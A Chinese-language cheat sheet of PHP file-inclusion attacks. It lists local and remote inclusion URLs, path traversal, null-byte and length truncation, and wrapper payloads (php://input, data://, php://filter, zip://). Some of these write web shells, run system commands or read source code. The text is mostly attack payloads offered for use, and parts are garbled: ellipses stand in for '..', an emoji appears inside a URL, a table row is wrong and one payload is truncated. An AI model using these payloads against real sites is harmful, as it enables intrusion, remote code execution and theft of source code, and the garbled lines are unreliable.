本地包含
无限制
http://127.0.0.1:8080/include.php?filename=1.txt
有限制
http://127.0.0.1:8000/include.php?filename=…/…/…/www.txt
%00截断:条件:magic_quotes_gpc=Off php版本<5.3.4
filename=…/…/…/www.txt%00
推荐方法:长度阶段:条件:windows,点号需要长于256;linux长于4096
(例如:windows:1.txt/././././././././././././././././././././././././././././././././././././././././././././
linux:1.txt…)
远程包含
无限制
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt
有限制
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
各种协议流
php版本均要>=5.2
协议 allow_url_fopen allow_rul_include | 用法 |
---|---|
file:// off/on off/on | ?file=file://flag.txt |
php://filter off/on off/on | ?file=php://filter/read=convert.base64-encode/resource=./index.php |
php://input off/on on | ?file=php://input POST: <?php phpinfo()?> |
data:// on on | ?file=data://text/plain,<?php phpinfo()?>【or】?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=也可以:?file=data:text/plain,<?php phpinfo()?>【or】?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= |
zip:// off/on off/on | ?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt |
compress.bzip2:// off/on off/on | ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2【or】?file=compress.bzip2://./file.bz2 |
compress.zlib:// off/on off/on | ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.gz【or】?file=compress.zlib://./file.gz |
file://
说明:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
增加一句话
//在file.php所在文件下的文件shell.php内增加"<?php phpinfo();?>"一句话。
URL:
?file=php://input
POST:
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>
增加文件
通过fopen参数为w,可新建一个文件,并在新建的文件shell.php中写入<?php phpinfo();?>
URL:
?file=php://input
POST:
<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>
执行系统命令
通过php的系统执行函数,将执行命令写入到文件中,并且执行系统命令
URL:
?file=php://input
POST:
<?php system('ipconfig');?>
data://
条件:
allow_url_include=On
php > 5.2
文字命令
//在文件中写入<?php phpinfo()?>
Payload:
?file=data:text/plain,<?php phpinfo()?>
//使用base64加密
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
图片命令:
加图片木马
Payload:
?imagedata=data://image/jpeg;base64,
php://filter
:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:
Payload:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword
(绝对路径)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=…/…/oneword
(相对路径)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]😕/www.bbb.com/